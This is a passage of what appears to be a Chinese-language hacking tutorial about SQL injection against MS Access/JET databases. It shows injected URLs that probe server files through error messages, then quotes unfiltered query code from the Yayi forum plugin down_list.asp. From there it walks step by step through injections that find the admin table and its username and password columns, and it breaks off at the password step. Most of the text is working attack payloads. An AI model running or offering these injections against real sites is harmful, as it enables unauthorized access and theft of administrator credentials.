看到這個題目各位大蝦小蝦先別急著找東西砸我,的確現(xiàn)在跨庫查詢的資料隨便找找都可以找到一大堆,不像以前那樣想看點資料還得對著一大堆E文敲腦袋。今天我要說的是我前一段時間發(fā)現(xiàn)的一個跨庫查詢的一個新玩法,大家可要仔細聽哦。
照例先介紹一下,在大概一個月前幻影旅團和灰色軌跡對這個問題進行了一些討論就是在遞交:
http://www.target.com/show.asp?id=1 ;or 0<>(select count(*) from admin.c)
會出現(xiàn)如下的錯誤提示:
Microsoft JET Database Engine 錯誤 '80004005'
找不到文件 'C:\WINNT\system32\admin.mdb'。
看到了吧,如果看過xhacker寫的那份學習報告的人肯定就已經(jīng)興奮起來了,因為那份報告隱約提到了ACCESS的一個漏洞可以Dir C:\ /s!讓我們繼續(xù)玩下去吧,遞交:
http://www.target.com/show.asp?id=1 ;or 0<>(select count(*) from c:\boot.ini)
返回:
Microsoft JET Database Engine 錯誤 '80004005'
找不到文件 'c:\boot.mdb'。
看樣子from后面的部分我們是可以添加路徑的了。既然想Dir當然就要訪問了cmd.exe拉,再來:
http://www.target.com/show.asp?id=1 ;or 0<>(select count(*) from c:\winnt\system32\cmd.exe.c)
看看錯誤提示吧:
Microsoft JET Database Engine 錯誤 '80004005'
不可識別的數(shù)據(jù)庫格式 'c:\winnt\system32\CMD.EXE'。
看樣子我們的希望落空了哦(多次實踐后你可以得到from后面跟的文件名的格式應該是這樣:文件名.后綴名.任何字母,這樣你才可以訪問到文件名.后綴名的那個文件)。這個時候這個漏洞好象我們至多只可以確定一個目錄或一個文件是否存在,當時我和很多人的想法一樣認為這屬于雞肋級的漏洞,食之無味,棄之可惜。
后來在一天在幫一個朋友檢測論壇安全性,看了看是用的雅藝論壇。首先我試了一下默認的數(shù)據(jù)庫名。提交http://www.target.com/yabbs/data/1yabbs.asp,沒有提示找不到文件,看樣子是沒改數(shù)據(jù)庫名了。但是由于擴展名是.asp,我們?nèi)匀粺o法他的數(shù)據(jù)庫。沒辦法,只好到硬盤去翻了半天把我原來的一套雅藝論壇拿出來看代碼。結(jié)果還真發(fā)現(xiàn)了一個激動人心的地方,在論壇自帶的插件的down_list.asp這個文件發(fā)現(xiàn)這樣的一段代碼:
if request("id")="" then
response.write "您沒有選擇相關(guān)軟件,請返回"
response.end
end if
set rs=server.createobject("adodb.recordset")
sql="select Dclass.class,DNclass.Nclass,download.showname,download.classid,download.Nclassid,download.lasthits,download.downshow from download,Dclass,DNclass where download.classid=Dclass.classid and download.Nclassid=DNclass.Nclassid and download.ID="request("id")
看見沒有,request("id")這個變量沒做任何過濾就代如到查詢語句中去了,我們可以進行SQL注入!說的容易,在做的時候卻碰到了困難,遞交如下URL:
http://www.target.com/yabbs/down_list.asp?id=1%20or%200<;>(select%20count(*)%20from%20admin)
成功返回頁面,OK,存在admin表。再來確定保存用戶名的列名:
http://www.target.com/yabbs/down_list.asp?id=1%20or%200<;>(select%20count(*)%20from%20admin where username)
也成功了,保存用戶名的列為username,再來看密碼列:
http://www.target.com/yabbs/down_list.asp?id=1%20or%200<;>(select%20count(*)%20from%20admin where password)